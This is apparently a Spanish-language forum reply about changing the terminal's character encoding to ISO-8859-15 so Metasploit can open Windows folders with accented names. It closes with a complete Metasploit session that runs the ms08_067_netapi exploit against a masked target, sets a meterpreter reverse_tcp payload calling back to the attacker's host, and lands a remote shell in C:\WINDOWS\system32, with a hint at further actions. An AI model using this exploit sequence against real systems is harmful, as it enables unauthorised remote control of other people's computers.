hola que tal amigo t cuento la manera en que solucione tal problema,

En la consola o shell, selecciona la pestaña terminal la cual t desplegara un menu del cual elijes el tipo de codificacion de caracteres y t mostrara la codificacion que estas utilizando actualmente (por default por lo regular siempre esta la UTF-8) ademas de darte la opcion de agregar otro tipo de codificacion, para lo cual damos click en la pestaña agregar.



Una vez hecho lo anterior se abrira una ventana de la cual del ladoi zquierdo tenemos las codificaciones que podemos utilizar, entonces vamos a seleccionar la que usa Windows que es la ISO-8859-15 , una vez seleccionada damos click en la flechita -> para que se agregue en el recuadro del lado derecho.





Una vez agregado cerramos esa ventana y vamos nuevamente a la pestaña terminal y seleccionamos la pestaña que nos muestra el tipo de codificacion que estamos usando, verficamos que este seleccionada la ISO-8859-15, de no estar seleccionada la seleccionamos, y eso seria todo. Ahora si podemos usar metasploit y consguir entrar a las carpetas con eñe y acentos.



msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST XXX.XXX.X.XX
RHOST => XXX.XXX.X.XX
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > set LHOST XXX.XXX.X.XX
LHOST => XXX.XXX.X.XX
msf exploit(ms08_067_netapi) > exploit
meterpreter > pwd
C:\WINDOWS\system32

y todo lo demas que ustedes saben hacer =)